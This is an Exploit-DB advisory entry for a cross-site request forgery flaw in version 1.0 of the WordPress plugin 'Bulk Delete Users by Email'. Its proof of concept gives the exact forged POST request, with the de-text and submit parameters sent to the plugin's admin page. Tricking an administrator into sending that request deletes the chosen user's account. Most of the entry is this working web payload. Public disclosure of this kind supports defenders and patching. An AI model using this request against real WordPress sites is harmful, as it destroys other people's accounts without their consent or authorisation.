WordPress Plugin Bulk Delete Users by Email 1.0 - Cross-Site Request Forgery

EDB-ID:

34572

CVE:



Platform:

PHP

Published:

2014-09-08

# Exploit Title: Bulk Delete Users by Email, Wordpress Plugin 1.0 - CSRF
# Google Dork: N/A
# Date: 05.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://www.speakdigital.co.uk/
# Software Link: https://wordpress.org/plugins/bulk-delete-users-by-email/
# Version: 1.0
# Tested on: PHP


Description:
This plugin will allow administrator to delete user(s) account by entering
their email address.

Proof of Concept
1. Force the administrator to send below request:

URL :
http://localhost/blog/wp-admin/admin.php?page=bulk-delete-users-by-email/plugin.php
METHOD : POST
REQUEST : de-text=<victim email>&submit=Search+and+Delete

* As the result, user with the given email address will be deleted.